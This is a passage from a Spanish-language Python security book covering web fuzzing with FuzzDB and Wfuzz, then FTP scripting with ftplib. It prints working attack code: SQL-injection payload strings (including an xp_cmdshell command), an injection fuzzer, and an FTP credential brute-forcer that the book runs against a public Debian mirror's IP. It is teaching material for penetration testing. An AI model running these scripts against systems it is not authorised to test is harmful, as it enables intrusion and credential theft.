http://testphp.vulnweb.com/panel
http://testphp.vulnweb.com/admin
http://testphp.vulnweb.com/paneladmin
Puedes probar los enlaces anteriores hasta encontrar un código
de respuesta HTTP 200 OK. Probar manualmente cada una de
las posibles combinaciones es totalmente inviable. Pero
automatizar este proceso con combinaciones, archivos y
carpetas configurados por defecto, ya parece un poco más
viable. El fuzzing web consiste precisamente en esa
automatización.
Un fuzzer web es una herramienta que permite comprobar qué
rutas están activas y cuáles no en un sitio web. Esto se logra
probando URLs aleatorias y enviándoles señales para
comprobar su funcionamiento. Por lo tanto, en una auditoría, es
fundamental identificar qué direcciones URL están activas y
cuál es su contenido. Un fuzzer web identifica estas rutas
probándolas de forma automatizada.
En el caso de las aplicaciones web, es posible realizar
fuzzings POSTen GETparámetros, encabezados y cookies. Uno
de los principales objetivos del fuzzing es detectar
comportamientos anómalos. Este comportamiento puede
manifestarse de varias maneras:
Errores de respuesta del servidor web
Cambios en la longitud de la respuesta
Errores en la lógica de la aplicación
Cambios en el encabezado de respuesta
Mayor tiempo de respuesta
Comprensión y uso del proyecto FuzzDB
FuzzDB es un proyecto dondeEncontramos un conjunto de
carpetas que contienen patrones de ataques conocidos que
han sido recopilados en múltiples pruebas de pentesting,
principalmente en entornos web:
https://github.com/fuzzdb-project/fuzzdb
Las categorías de FuzzDB están separadas en diferentes
directorios que contienen patrones predecibles de ubicación de
recursos, es decir, patrones que detectan vulnerabilidades con
cargas maliciosas o rutas vulnerables:
Figura 6.13: El proyecto FuzzDB en GitHub
Este proyecto proporciona recursos para probar
vulnerabilidades en servidores y aplicaciones web. Una de las
cosas que podemos hacer con este proyecto es usarlo para
ayudar a identificar vulnerabilidades en aplicaciones web
mediante métodos de fuerza bruta. Uno de los objetivos del
proyecto es facilitar las pruebas de aplicaciones web. El
proyecto proporciona archivos para probar casos de uso
específicos en aplicaciones web.
Podríamos crear nuestro propio fuzzer para identificar URL
predecibles usando el proyecto FuzzDB. MyFuzzer es un script
para pruebas de penetración que recopila información sobre los
objetivos según el proyecto FuzzDB. Puedes encontrar el
siguiente código en el MyFuzzer.pyarchivo dentro de
la myFuzzercarpeta:
import re
import requests
import sys
import os
import argparse
import time
import optparse
def main():
pars = optparse.OptionParser(description="[*] Discover
hidden files and directories")
pars.add_option('-u', '--url',action="store", dest="url",
type="string", help=" URL of the Target",default=None)
pars.add_option('-w', '--wordlist',action="store",
type="string", dest="wordlist", help="Custom
wordlist",default=None)
opts, args = pars.parse_args()
if not opts.url:
print("usage : python myFuzzer.py -h")
if opts.wordlist:
if not os.path.isfile(str(opts.wordlist)):
print("[!] Please checkout your Custom wordlist path")
sys.exit(0)
fuzz(opts.url,opts.wordlist)
def ok_results(results):
print("200 Ok results")
print("---------------")
for result in results:
print("[+] -[200] -"+result)
def fuzz(url,CustomWordlist):
results = []
if CustomWordlist :
words = [w.strip() for w in open(str(CustomWordlist),
"rb").readlines()]
else :
words = [w.strip() for w in open(wordlists["dict"],
"rb").readlines()]
try:
if not url.startswith('http://'):
url ="http://"+url
for paths in words:
paths = paths.decode()
if not paths.startswith('/'):
paths ="/"+paths
fullPath = url+paths
print(fullPath)
response = requests.get(fullPath)
code = str(response.status_code)
print("[+] [{time}] - [{code}] - [{paths}] ->
{fullPath}".format(time=time.strftime("%H:%M:
%S"),code=code,paths=paths,fullPath=fullPath))
if code == "200":
results.append(fullPath)
ok_results(results)
except Exception as e:
print("ERROR =>",e)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt as err:
sys.exit(0)
Al ejecutar elEn el script anterior, podemos iniciar un proceso
de fuzzing usando una lista de palabras personalizada:
$ python myFuzzer.py -u testasp.vulnweb.com -w
fuzzdb/discovery/predictable-filepaths/login-file-locations/windo
ws-asp.txt
200 Ok results
---------------
[+] -[200] -http://testasp.vulnweb.com/login.asp
[+] -[200] -http://testasp.vulnweb.com/login.asp
[+] -[200] -http://testasp.vulnweb.com/logout.asp
En la salida del comando anterior, vemos aquellas URL que han
devuelto un 200 OKcódigo de respuesta para el dominio que
estamos analizando.
Identificación de páginas de inicio de sesión predecibles con el
proyecto FuzzDB
Podríamos crear un script que, dada una URL que estamos
analizando, nos permita probar la conexión.cada una de las
rutas de inicio de sesión, y si la solicitud devuelve
un 200código, significa que se ha encontrado la página de
inicio de sesión en el servidor.
Con el siguiente script, podemos obtener URL predecibles como
login, admin y administrador. Para cada combinación
de domain + predictableURL, verificamos el código de estado
devuelto. Puede encontrar el siguiente código en
el fuzzdb_login_page.pyarchivo dentro de la fuzzdbcarpeta:
import requests
logins = []
with open('Logins.txt', 'r') as filehandle:
for line in filehandle:
login = line[:-1]
logins.append(login)
domain = "http://testphp.vulnweb.com"
for login in logins:
print("Checking... "+ domain + login)
response = requests.get(domain + login)
if response.status_code == 200:
print("Login resource detected: " +login)
En el script anterior, usamos el Logins.txtarchivo ubicado en el
siguiente repositorio de GitHub:
https://github.com/fuzzdb-project/fuzzdb/blob/master/
discovery/predictable-filepaths/login-file-locations/
Logins.txt
Este podría ser elSalida del script anterior donde podemos ver
como se ha detectado el recurso de la página de
administración sobre la carpeta raíz
del http://testphp.vulnweb.comdominio:
$ python fuzzdb_login_page.py
Checking... http://testphp.vulnweb.com/admin
Login Resource detected: /admin
Checking... http://testphp.vulnweb.com/Admin
Checking... http://testphp.vulnweb.com/admin.asp
Checking... http://testphp.vulnweb.com/admin.aspx
...
Podemos ver que, para cada cadena ubicada en el archivo,
tiene la capacidad de probar la presencia de una página de
inicio de sesión específica en el dominio que estamos
analizando.
Descubriendo la inyección SQL con el proyecto FuzzDB
De la misma manera queHemos analizado antes, podríamos
construir un script donde, dado unsitio web que estamos
analizando, podríamos probarlo para descubrir inyección SQL
usando un archivo que proporciona una lista de cadenas que
podemos usar para probar este tipo de vulnerabilidad.
En el repositorio de GitHub del proyecto, podemos ver que
algunos archivos dependen del ataque SQL y del tipo de base
de datos que estamos probando:
Figura 6.14: Archivos para probar la inyección en bases de
datos
Por ejemplo, podemos encontrar unarchivo específico para
pruebasInyección SQL en bases de datos MySQL:
https://github.com/fuzzdb-project/fuzzdb/blob/master/
attack/sql-injection/detect/MSSQL.txt
En el MSSQL.txtarchivo que podemos encontrar en el
repositorio anterior, podemos ver todos los vectores de ataque
disponibles para descubrir una vulnerabilidad de inyección SQL:
; --
'; --
'); --
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
' grant connect to name; grant resource to name; --
' or 1=1 --
' union (select @@version) --
' union (select NULL, (select @@version)) --
' union (select NULL, NULL, (select @@version)) --
' union (select NULL, NULL, NULL, (select @@version)) --
' union (select NULL, NULL, NULL, NULL, (select @@version)) --
' union (select NULL, NULL, NULL, NULL, NULL, (select
@@version)) --
El repositorio de GitHub del
proyecto, https://github.com/fuzzdb-project/fuzzdb/tree/
master/attack/sql-injection/detect , contiene numerosos
archivos para detectar variantes de inyección SQL. Por ejemplo,
podemos encontrar el GenericBlind.txtarchivo que contiene
otras cadenas relacionadas con la inyección SQL que se pueden
probar en muchas aplicaciones web compatibles con otras
bases de datos.
Puedes encontrarla siguientecódigo en
el fuzzdb_sql_injection.pyarchivo dentro de la fuzzdbcarpeta:
import requests
domain = "http://testphp.vulnweb.com/listproducts.php?cat="
mysql_attacks = []
with open('MSSQL.txt', 'r') as filehandle:
for line in filehandle:
attack = line[:-1]
mysql_attacks.append(attack)
for attack in mysql_attacks:
print("Testing... "+ domain + attack)
response = requests.get(domain + attack)
if "mysql" in response.text.lower():
print("Injectable MySQL detected")
print("Attack string: "+attack)
Esta podría ser la salida del script anterior donde podemos ver
cómo la listproducts.phppágina es vulnerable a muchos
ataques de inyección SQL:
$ python fuzzdb_sql_injection.py
Testing... http://testphp.vulnweb.com/listproducts.php?cat=; --
Injectable MySQL detected
Attack string: ; --
Testing... http://testphp.vulnweb.com/listproducts.php?cat='; --
Injectable MySQL detected
Attack string: '; --
Testing... http://testphp.vulnweb.com/listproducts.php?cat='); --
Injectable MySQL detected
...
Podemos ver que, para cada ataque de cadena ubicado en
el MSSQL.txtarchivo, tiene la capacidad de probar la presencia
de SQLInyección en el dominio que analizamos.
El fuzzdbproyecto proporciona recursos para probar
vulnerabilidades en servidores y aplicaciones web.
Wfuzz
Wfuzz ( https://pypi.org/project/wfuzz ) es una herramienta
que puedese instala como cualquier otroPaquete de Python con
el siguiente comando:
$ pip install wfuzz
Su uso básico se reduce a los siguientes parámetros:
Usage: wfuzz [options] -z payload,params <url>
Los parámetros más utilizados de la herramienta son:
c : Muestra con diferentes colores los diferentes códigos
HTTP recibidos por el servidor.
Profundidad R : Si queremos añadir recursión en nuestra
búsqueda de directorios, con este parámetro podemos
definir el nivel, por ejemplo-R 1
hc xxx : Donde xxx es un código HTTP. Con este
parámetro, indicamos que no se muestran todas las
salidas con el código de error xxx.
hs regex : no mostrar respuestas que contengan una
cadena que coincida con la expresión regular.
ss regex : muestra solo aquellas respuestas que
contengan una cadena que coincida con la expresión
regular.
Con el siguiente comando, probaríamos todas las palabras
del PHP.txtarchivo, sustituyéndolas en la URL donde aparece la
palabra FUZZ. Con el parámetro –hc 404, descartaríamos todas
las respuestas del servidor con código HTTP 404:
$ wfuzz -c -z
file,/chapter6/myFuzzer/fuzzdb/discovery/predictable-
filepaths/php/PHP.txt --hc 404 http://testphp.vulnweb.com/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://testphp.vulnweb.com/FUZZ
Total requests: 30
======================================
===============================
ID Response Lines Word Chars Payload
======================================
===============================
000000023: 200 119 L 432 W 5523 Ch
"/login.php"
Total time: 0.765058
Processed Requests: 30
Filtered Requests: 29
Requests/sec.: 39.21267
En ejecución de lo anteriorcomando, vemos que hemos
realizado 30 peticiones en 0,76 segundos y hemos encontrado
1 archivo PHP llamado login.php.
Resumen
En este capítulo, aprendimos sobre los diferentes módulos que
nos permiten extraer información que los servidores exponen
públicamente. Comenzamos analizando las principales
herramientas OSINT utilizadas para extraer información de los
servidores y analizamos detalles de herramientas específicas
como SpiderFoot. A continuación, hablamos sobre el
módulo dnspython , que utilizamos para extraer registros DNS
de un dominio específico. Finalmente, aprendimos sobre el
proceso de fuzzing y utilizamos el proyecto FuzzDB para probar
vulnerabilidades en servidores.
Las herramientas que hemos discutido y la información
extraída de los servidores serán útiles para fases posteriores de
nuestro proceso de auditoría o pruebas de penetración.
En el próximo capítulo, exploraremos los paquetes de
programación Python que interactúan con los servidores FTP,
SSH y SNMP.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Qué plataformas de terceros se pueden configurar en
SpiderFoot para extraer información de servicios
externos?
2. ¿Qué técnica se puede utilizar para obtener las URL
predecibles de un dominio?
3. ¿Qué método se debe llamar y qué parámetros se deben
pasar para obtener los registros de los servidores de
nombres con el módulo DNSPython?
4. ¿Qué proyecto contiene archivos y carpetas que contienen
patrones de ataques conocidos que se han recopilado en
varias pruebas de penetración en aplicaciones web?
5. ¿Qué módulo se puede utilizar para detectar
vulnerabilidades de tipo inyección SQL con el proyecto
FuzzDB?
Lectura adicional
En los siguientes enlaces podrá encontrar más información
sobre las herramientas mencionadas y otras herramientas
relacionadas con la extracción de información de servidores
web:
Módulo DNS de Python : http://www.dnspython.org
Proyecto FuzzDB : https://github.com/fuzzdb-
project/fuzzdb
Wfuzz : https://github.com/xmendez/wfuzz es una
herramienta de evaluación de seguridad de aplicaciones
web que puedes usar desde la línea de comandos o
mediante programación.
Dirhunt : https://github.com/Nekmo/dirhunt es un
rastreador web optimizado para buscar y analizar
directorios en un sitio web; podemos usar esta
herramienta para encontrar directorios web sin seguir un
proceso de fuerza bruta.
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
7
Interacción con servidores FTP, SFTP y SSH
En este capítulo, aprenderemos sobre los módulos que nos
permiten interactuar con servidores FTP, SFTP y SSH. Estos
módulos facilitarán la conexión a diferentes tipos de servidores
y permitirán realizar pruebas de seguridad de los servicios que
se ejecutan en ellos.
Como parte de este capítulo, exploraremos cómo las
computadoras en una red pueden interactuar entre sí y cómo
pueden acceder a algunos servicios mediante scripts y módulos
de Python como ftplib , paramiko y pysftp . Finalmente,
comprobaremos la seguridad de los servidores SSH con las
herramientas ssh-audit y Rebex SSH check .
En este capítulo se tratarán los siguientes temas:
Conexión a servidores FTP
Construyendo un escáner FTP anónimo con Python
Conexión a servidores SSH y SFTP mediante los módulos
paramiko y pysftp
Implementación de servidores SSH con el módulo
paramiko
Comprobación de la seguridad de los servidores SSH con
las herramientas ssh-audit y Rebex SSH check
Requisitos técnicos
Para aprovechar al máximo este capítulo, necesitará instalar
una distribución de Python en su equipo local y tener
conocimientos básicos del protocolo HTTP. Trabajaremos con la
versión 3.10 de Python, disponible
en https://www.python.org/downloads .
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter07 .
Conexión a servidores FTP
Así que, comencemos. En este primer...En esta sección,
aprenderá sobre el protocolo FTP y cómo usar ftplib para
conectarse con servidores FTP, transferir archivos e
implementar unProceso de fuerza bruta para obtener las
credenciales de usuario FTP.
Protocolo FTP
FTP es un protocolo de texto sin cifrar queSe utiliza para
transferir datos de un sistema a otro y utiliza el Protocolo de
Control de Transmisión ( TCP ) en el puerto 21, lo que
permite el intercambio de archivos.entre el cliente yservidor.
FTP es un protocolo muy común para la transferencia de
archivos y lo utilizan principalmente las personas para
transferir archivos desde estaciones de trabajo locales a
servidores remotos.
El protocolo está diseñado de tal manera que el cliente y el
servidor no necesitan usar el mismo sistema operativo para
transferir archivos. Esto significa que cualquier cliente y
servidor FTP pueden usar sistemas operativos diferentes para
transferir archivos mediante las operaciones y comandos
descritos en el protocolo.
El protocolo está enfocado a ofrecer a clientes y servidores una
velocidad aceptable en la transferencia de archivos, pero noNo
considera conceptos más importantes como la seguridad. La
desventaja de este protocolo es que la información viaja en
texto plano, incluidas las credenciales de acceso cuando un
cliente se autentica en el servidor.
Ahora que hemos aprendido sobre el protocolo FTP,
entendamos cómo podemos conectarnos a él usando
el ftplibmódulo Python.
Uso del módulo ftplib de Python
ftplibes un Python nativoMódulo que permite conectarse a
servidores FTP y ejecutar comandos en ellos. Está diseñado
para crear clientes FTP con pocas líneas de código y realizar
tareas de administración del servidor. Para obtener más
información sobre el ftplibmódulo,Puede revisar la
documentación
oficial: https://docs.python.org/3.10/library/ftplib.html .
Uno de los principalesUna de las características que ofrece este
módulo es la transferencia de archivos entre un cliente y un
servidor. Veamos cómo se realiza esta transferencia.
Transferencia de archivos con FTP
ftplibse puede utilizarPara transferir archivos hacia y desde
máquinas remotas. El método constructor de la FTPclase se
define en el __init__()método , que acepta el host, el usuario y
la contraseña como parámetros para conectarse al servidor.
Podemos conectarnos a un servidor FTP de varias maneras. La
primera es mediante el connect()método con los siguientes
argumentos:
| connect(self, host='', port=0, timeout=-999,
source_address=None)
| Connect to host. Arguments are:
| - host: hostname to connect to (string, default previous
host)
| - port: port to connect to (integer, default previous port)
| - timeout: the timeout to set against the ftp socket(s)
| - source_address: a 2-tuple (host, port) for the socket to
bind
| to as its source address before connecting.
El segundo método se realiza mediante el constructor de la
clase FTP. La FTP()clase toma tres parámetros: el servidor
remoto, el nombre de usuario y la contraseña de dicho usuario.
En el siguiente ejemplo, nos conectamos a un servidor FTP para
descargar un archivo binario ftp.be.debian.org. En el siguiente
script, podemos ver cómo conectarnos a un servidor FTP
anónimo y descargar archivos binarios sin nombre de usuario ni
contraseña.
Puede encontrar el siguiente código en
el ftp_download_file.pyarchivo, ubicado en la ftplibcarpeta en el
repositorio de GitHub:
#!/usr/bin/env python3
import ftplib
FTP_SERVER_URL = 'ftp.be.debian.org'
DOWNLOAD_DIR_PATH =
'www.kernel.org/pub/linux/kernel/v6.x/'
DOWNLOAD_FILE_NAME = 'ChangeLog-6.0'
def ftp_file_download(server, username):
ftp_client = ftplib.FTP(server, username)
ftp_client.cwd(DOWNLOAD_DIR_PATH)
try:
with open(DOWNLOAD_FILE_NAME, 'wb') as file_handler:
ftp_cmd = 'RETR %s' %DOWNLOAD_FILE_NAME
ftp_client.retrbinary(ftp_cmd,file_handler.write)
ftp_client.quit()
except Exception as exception:
print('File could not be downloaded:',exception)
if __name__ == '__main__':
ftp_file_download(server=FTP_SERVER_URL,username='anon
ymous')
En el código anterior, abrimos una ftpconexión con
el FTPconstructor, pasando servery usernamecomo
parámetros. Usando el dir()método, listamos los archivos en el
directorio especificado en la DOWNLOAD_DIR_PATHconstante.
Finalmente, usamos el retrbinary()método para descargar el
archivo especificado en la DOWNLOAD_FILE_NAMEconstante.
Otra forma dePara descargar un archivo del servidor FTP se
utiliza el retrlines()método que acepta el ftpcomando a ejecutar
como parámetro. Por ejemplo, LISTes un comando definido por
el protocolo, así como otros que también se pueden aplicar en
esta función, como RETR, NLSTo MLSD. Puede obtener más
información sobre los comandos compatibles en el documento
RFC 959, en https://www.rfc-editor.org/rfc/rfc959.html .
El segundo parámetro del retrlines()método es una función de
devolución de llamada, que se invoca para cada línea de datos
recibidos. Puedes encontrar el siguiente código en
el get_ftp_file.pyarchivo, ubicado en la ftplibcarpeta del
repositorio de GitHub:
from ftplib import FTP
def writeData(data):
file_descryptor.write(data+"\n")
ftp_client=FTP('ftp.be.debian.org')
ftp_client.login()
ftp_client.cwd('/www.kernel.org/pub/linux/kernel/v6.x/')
file_descryptor=open('ChangeLog-6.0','wt')
ftp_client.retrlines('RETR ChangeLog-6.0',writeData)
file_descryptor.close()
ftp_client.quit()
En el código anterior, nos conectamos al servidor FTP
en ftp.be.debian.org, cambiamos al
directorio /www.kernel.org/pub/linux/kernel/v6.x/con
el cwd()método y descargamos un archivo específico en ese
servidor. Para descargar el archivo, usamos
el retrlines()método. Necesitamos pasar el RETRcomando con
el nombre del archivo como parámetro de entrada y una
función de devolución de llamada llamada writeData(), que se
ejecutará cada vez que se reciba un bloque de datos.
De forma similar a lo que implementamos antes, en el
siguiente ejemplo, usamos el ntransfercmd()método de
la ftp_clientinstancia para aplicar un RETRcomando que recibe
datos de archivo en una matriz de bytes. Puedes encontrar el
siguiente código en el ftp_download_file_bytes.pyarchivo
ubicado en la ftplibcarpeta del repositorio de GitHub:
from ftplib import FTP
ftp_client=FTP('ftp.be.debian.org')
ftp_client.login()
ftp_client.cwd('/www.kernel.org/pub/linux/kernel/v6.x/')
ftp_client.voidcmd("TYPE I")
datasock,estsize=ftp_client.ntransfercmd("RETR ChangeLog-
6.0")
transbytes=0
with open('ChangeLog-6.0','wb') as file_descryptor:
while True:
buffer=datasock.recv(2048)
if not len(buffer):
break
file_descryptor.write(buffer)
transbytes +=len(buffer)
print("Bytes received",transbytes,"Total",
(estsize,100.0*float(transbytes)/float(estsize)),str('%'))
datasock.close()
ftp_client.quit()
En el anteriorcódigo, estamos ejecutando el RETRcomando
para descargar el archivo usando un bucle que controla los
datos recibidos en la buffervariable.
La ejecución del script anterior nos da la siguiente salida:
$ python ftp_download_file_bytes.py
Bytes received 1400 Total (14871435,
0.009414020906523143) %
Bytes received 2800 Total (14871435,
0.018828041813046287) %
Bytes received 4848 Total (14871435, 0.03259940953916014)
%
Bytes received 6896 Total (14871435, 0.046370777265274) %
...
Bytes received 14870048 Total (14871435,
99.99067339500189) %
Bytes received 14871435 Total (14871435, 100.0) %
Como has visto, tenemos varias formas de descargar un
archivo. En el ftp_download_file.pyscript, usamos
el retrbinary()método para descargar un archivo, y en el
ejemplo anterior...Script: trabajamos con sockets y bytes, y
necesitamos más conocimientos a nivel básico. A continuación,
veamos otras funciones que ftplibofrece el módulo.
Otras funciones de ftplib
ftplibproporciona otras funcionespodemos utilizar para ejecutar
operaciones FTP , algunas de las cuales son las siguientes:
FTP.getwelcome() : Obtiene el mensaje de bienvenida
FTP.pwd() : Devuelve el directorio actual
FTP.cwd(ruta) : cambia el directorio de trabajo
FTP.dir(path) : Devuelve una lista de directorios
FTP.nlst(path) : Devuelve una lista con los nombres de
archivos del directorio
FTP.size(file) : Devuelve el tamaño del archivo que
pasamos como parámetro
Centrémonos en los métodos FTP.dir(path)y FTP.nlst(path). En el
siguiente ejemplo, listaremos los archivos disponibles en el
servidor FTP del kernel de Linux mediante los
métodos dir()y nlst(). Puedes encontrar el siguiente código en
el ftp_listing_files.pyarchivo ubicado en la ftplibcarpeta del
repositorio de GitHub:
from ftplib import FTP
ftp_client=FTP('ftp.be.debian.org')
print("Server: ",ftp_client.getwelcome())
print(ftp_client.login())
print("Files and directories in the root directory:")
ftp_client.dir()
ftp_client.cwd('/www.kernel.org/pub/linux/kernel/v6.x/')
files=ftp_client.nlst()
files.sort()
print("%d files in /pub/linux/kernel directory:"%len(files))
for file in files:
print(file)
ftp_client.quit()
En el código anterior, usamos el getwelcome()método para
obtener información sobre la versión de FTP. Con
este dir()método, listamos los archivos y directorios en el
directorio raíz y las nlst()versiones disponibles en el kernel de
Linux.
La ejecución del script anterior nos da la siguiente salida:
$ python ftp_listing_files.py
Server: 220 ProFTPD Server (mirror.as35701.net)
[::ffff:195.234.45.114]
230-Welcome to mirror.as35701.net.
230-The server is located in Brussels, Belgium.
230-Server connected with gigabit ethernet to the internet.
230-The server maintains software archive accessible via ftp,
http, https and rsync.
230-ftp.be.debian.org is an alias for this host, but https will not
work with that
230-alias. If you want to use https use mirror.as35701.net.
230-Contact: kurt@roeckx.be
230 Anonymous access granted, restrictions apply
Files and directories in the root directory:
lrwxrwxrwx 1 ftp ftp 16 May 14 2011 backports.org
-> /backports.org/debian-backports
drwxr-xr-x 9 ftp ftp 4096 Jul 7 14:40 debian
….
113 files in /pub/linux/kernel directory:
….
Podemos ver cómo estamosObtener la versión del servidor FTP,
la lista de archivos disponibles en el directorio raíz y la cantidad
de archivos disponibles en la /pub/linux/kernelruta. Esta
información puede ser muy útil al auditar y probar un servidor.
Uso de ftplib para forzar las credenciales de usuario de
FTP
El ftplibmóduloTambién se puede usar para crear scripts que
automaticen ciertas tareas o realicen ataques de diccionario
contra un servidor FTP. El término "ataque de diccionario" se
refiere a una técnica de piratería que permite probar la
seguridad de...sistemas y aplicaciones protegidos por un
nombre de usuario y una contraseña.
Uno de los principales casos de uso que podemos implementar
es comprobar si un servidor FTP es vulnerable a un ataque de
fuerza bruta mediante un diccionario. Por ejemplo, con el
siguiente script, podemos ejecutar un ataque usando un
diccionario de usuarios y contraseñas contra un servidor FTP.
Puede encontrar el siguiente código en
el ftp_brute_force_multiprocessing.pyarchivo ubicado en la ftp
brute forcecarpeta del directorio dentro de ftplibla carpeta en el
repositorio de GitHub:
import ftplib
import multiprocessing
def brute_force(ip_address,user,password):
ftp = ftplib.FTP(ip_address)
try:
print("Testing user {}, password {}".format(user,
password))
response = ftp.login(user,password)
if "230" in response and "access granted" in response:
print("[*]Successful brute force")
print("User: "+ user + " Password: "+password)
else:
pass
except Exception as exception:
print('Connection error', exception)
def main():
ip_address = input("Enter IP address or host name:")
with open('users.txt','r') as users:
users = users.readlines()
with open('passwords.txt','r') as passwords:
passwords = passwords.readlines()
for user in users:
for password in passwords:
process = multiprocessing.Process(target=brute_force,
args=(ip_address,user.rstrip(),password.rstrip(),))
process.start()
if __name__ == '__main__':
main()
En el código anterior, usamos el multiprocessingmódulo para
ejecutar el brute_force()método mediante la creación de
una processinstancia para cada combinación de nombre de
usuario y contraseña. Aquí usamos la brute_force()función para
verificar cada...Estamos leyendo la combinación de nombre de
usuario y contraseña de dos archivos de texto
llamados users.txty passwords.txt. En el siguiente resultado,
podemos ver la ejecución del script anterior. Podríamos
probarlo usando la dirección IP del dominio FTP probado
anteriormente ftp.be.debian.org. Recuerde que ejecutar este
script en una dirección IP sobre la que no tenemos control
podría suponer un riesgo adicional:
$ python ftp_brute_force_multiprocessing.py
Enter IP address or host name:195.234.45.114
Testing user user1, password password1
Connection error 530 Login incorrect.
Testing user user1, password password2
Connection error 530 Login incorrect.
Testing user user1, password anonymous
Connection error 530 Login incorrect.
Testing user user2, password password1
Connection error 530 Login incorrect.
Testing user user2, password password2
Connection error 530 Login incorrect.
Testing user user2, password anonymous
Connection error 530 Login incorrect.
Testing user anonymous, password password1
[*]Successful brute force
User: anonymous Password: anonymous
En la salida anterior, podemos ver cómo probamos todas las
combinaciones posibles de nombre de usuario y contraseña
hasta encontrar la correcta. Sabremos que la combinación es
correcta si, al intentar conectarnos, obtenemos el código de
respuesta 230y la cadena "access granted".
Por lo tanto, al utilizar estoCon el método del diccionario,
podemos determinar si nuestro servidor FTP es vulnerable a un
ataque de fuerza bruta y, por lo tanto, reforzar la seguridad si
se encuentra alguna vulnerabilidad. Pasemos ahora a la
siguiente sección, donde crearemos un escáner FTP anónimo
con Python.
Construyendo un escáner FTP anónimo con Python
Podemos utilizar el ftplibmódulo para crear un script para
determinar si un servidor ofreceinicios de sesión anónimos.
Este mecanismoConsiste en proporcionar al servidor FTP la
palabra "anonymous" como nombre y contraseña del usuario.
De esta forma, podemos realizar consultas al servidor FTP sin
conocer los datos de un usuario específico. Puedes encontrar el
siguiente código en el checkFTPanonymousLogin.pyarchivo,
ubicado en la ftplibcarpeta del repositorio de GitHub:
import ftplib
def anonymousLogin(hostname):
try:
ftp = ftplib.FTP(hostname)
response = ftp.login('anonymous', 'anonymous')
print(response)
if "230 Anonymous access granted" in response:
print('\n[*] ' + str(hostname) +' FTP Anonymous Login
Succeeded.')
print(ftp.getwelcome())
ftp.dir()
except Exception as exception:
print(str(exception))
print('\n[-] ' + str(hostname) +' FTP Anonymous Login
Failed.')
hostname = 'ftp.be.debian.org'
anonymousLogin(hostname)
En el código anterior, la anonymousLogin()función toma un
nombre de host como parámetro y verifica la conexión con el
servidor FTP con un usuario anónimo. La función intenta crear
una conexión FTP con credenciales anónimas y muestra
información relacionada con el servidor y la lista de archivos en
el directorio raíz.
De forma similar, podríamos implementar una función para
verificar el inicio de sesión de usuarios anónimos utilizando
únicamente el constructor de la clase FTP y el administrador de
contexto. Puedes encontrar el siguiente código en
el ftp_list_server_anonymous.pyarchivo, ubicado en
la ftplibcarpeta del repositorio de GitHub:
import ftplib
FTP_SERVER_URL = 'ftp.be.debian.org'
DOWNLOAD_DIR_PATH =
'/www.kernel.org/pub/linux/kernel/v6.x/'
def check_anonymous_connection(host, path):
with ftplib.FTP(host, user="anonymous") as connection:
print( "Welcome to ftp server ", connection.getwelcome())
for name, details in connection.mlsd(path):
print( name, details['type'], details.get('size') )
if __name__ == '__main__':
check_anonymous_connection(FTP_SERVER_URL,DOWNLOAD
_DIR_PATH)
Aquí, utilizamos las constantes definidas
en FTP_SERVER_URLy DOWNLOAD_DIR_PATHpara probar
laConexión anónima con estoServidor. Si la conexión es
exitosa, obtenemos el mensaje de bienvenida y los archivos
ubicados en esta ruta. El siguiente podría ser un resultado
parcial de la ejecución del script anterior:
$ python ftp_list_server_anonymous.py
Welcome to ftp server 220 ProFTPD Server
(mirror.as35701.net) [::ffff:195.234.45.114]
linux-6.0.13.tar.sign file 989
linux-6.0.9.tar.xz file 133911648
linux-6.0.7.tar.gz file 214112261
linux-6.0.8.tar.sign file 987
...
Podemos usar el acceso anónimo para obtener información
sobre directorios y páginas accesibles que encontramos en el
servidor FTP. En el siguiente ejemplo, usamos el acceso
anónimo.usuario para acceder al servidor FTP, obtenerEl listado
de directorios y la página predeterminada. Puedes encontrar el
siguiente código en el ftp_anonymous_directory_list.pyarchivo,
ubicado en la ftplibcarpeta del repositorio de GitHub:
import ftplib
def return_default(ftp):
try:
dir_list = ftp.nlst()
print(dir_list)
except Exception as e:
print(f'[-] Could not list directory contents.\n'
f'[-] Skipping To Next Target.\n'
f'[-] Exception: {e}')
return
ret_list = []
for file in dir_list:
fn = file.lower()
if '.php' in fn or '.htm' in fn or '.asp' in fn:
print(f'[+] Found default page: {file}')
ret_list.append(file)
return ret_list
if __name__ == "__main__":
tgt_host = 'ftp.be.debian.org'
username = 'anonymous'
password = 'anonymous'
ftp_conn = ftplib.FTP(tgt_host)
ftp_conn.login(username, password)
La ejecución del script anterior nos da la siguiente salida:
$ python ftp_anonymous_directory_list.py
['ubuntu-cloudimages', 'debian', 'mint-iso', 'debian-cd',
'ubuntu', 'welcome.msg', 'debian-security', 'mint',
'video.fosdem.org', 'ubuntu-releases', 'www.kernel.org',
'ubuntu-ports', 'ftp.irc.org', 'ubuntu-cdimage', 'HEADER.html']
[+] Found default page: HEADER.html
En esta sección hemos revisado el ftplibmódulo de la biblioteca
estándar de Python, que nos proporciona los métodos
necesarios para crear clientes FTP de forma rápida y sencilla.
Ahora queConoces los conceptos básicos detransfiriendo
archivos y obteniendo información de servidores FTP, pasemos
a aprender cómo conectarnos con servidores SSH con
el paramikomódulo.
Conexión con servidores SSH con paramiko y pysftp
En esta sección, nosotrosRevisaremos el protocolo SSHy
el paramikomódulo, que nos proporcionalos métodos
necesarios paraCrea clientes SSH de forma sencilla.
El protocolo SSH es uno de los más utilizados actualmente, ya
que utiliza criptografía simétrica y asimétrica para garantizar la
confidencialidad, autenticación e integridad de los datos
transmitidos. La seguridad de la comunicación entre el cliente y
el servidor se ve reforzada gracias al cifrado y al uso de claves
públicas y privadas. SSH se ha convertido en un protocolo de
red muy popular para la comunicación segura de datos entre
dos ordenadores. Ambas partes utilizan pares de claves SSH
para cifrar sus comunicaciones.
Cada par de claves tiene una clave privada y una pública. La
clave pública puede publicarse para cualquier persona que
pueda ser...interesados, y la clave privada siempre se mantiene
privada y segura.Todos excepto el propietario de la clave. Las
claves SSH públicas y privadas pueden ser generadas y
firmadas digitalmente por una Autoridad de
